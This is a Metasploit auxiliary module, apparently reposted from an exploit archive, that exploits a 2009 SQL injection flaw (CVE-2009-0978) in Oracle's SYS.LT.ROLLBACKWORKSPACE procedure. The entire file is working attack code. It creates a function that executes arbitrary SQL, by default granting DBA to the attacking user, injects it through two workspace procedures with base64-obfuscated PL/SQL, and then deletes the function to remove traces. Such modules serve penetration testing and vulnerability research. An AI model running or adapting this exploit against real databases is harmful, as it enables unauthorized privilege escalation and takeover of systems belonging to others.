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## https://sploitus.com/exploit?id=PACKETSTORM:180722
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::ORACLE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE',  
'Description' => %q{  
This module exploits a sql injection flaw in the ROLLBACKWORKSPACE  
procedure of the PL/SQL package SYS.LT. Any user with execute  
privilege on the vulnerable package can exploit this vulnerability.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2009-0978' ],  
[ 'OSVDB', '53734'],  
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html' ],  
],  
'DisclosureDate' => '2009-05-04'))  
  
register_options(  
[  
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),  
])  
end  
  
def run  
return if not check_dependencies  
  
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
cruft = Rex::Text.rand_text_alpha_upper(rand(5) + 1)  
  
function = "  
CREATE OR REPLACE FUNCTION #{cruft}  
RETURN VARCHAR2 AUTHID CURRENT_USER  
AS  
PRAGMA AUTONOMOUS_TRANSACTION;  
BEGIN  
EXECUTE IMMEDIATE '#{datastore['SQL']}';  
COMMIT;  
RETURN '#{cruft}';  
END;"  
  
package1 = %Q|  
BEGIN  
SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');  
END;  
|  
  
package2 = %Q|  
BEGIN  
SYS.LT.ROLLBACKWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');  
END;  
|  
  
uno = Rex::Text.encode_base64(function)  
dos = Rex::Text.encode_base64(package1)  
tres = Rex::Text.encode_base64(package2)  
  
sql = %Q|  
DECLARE  
#{rand1} VARCHAR2(32767);  
#{rand2} VARCHAR2(32767);  
#{rand3} VARCHAR2(32767);  
BEGIN  
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));  
EXECUTE IMMEDIATE #{rand1};  
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));  
EXECUTE IMMEDIATE #{rand2};  
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));  
EXECUTE IMMEDIATE #{rand3};  
END;  
|  
  
clean = "DROP FUNCTION #{cruft}"  
  
print_status("Attempting sql injection on SYS.LT.ROLLBACKWORKSPACE...")  
prepare_exec(sql)  
print_status("Removing function '#{cruft}'...")  
prepare_exec(clean)  
end  
end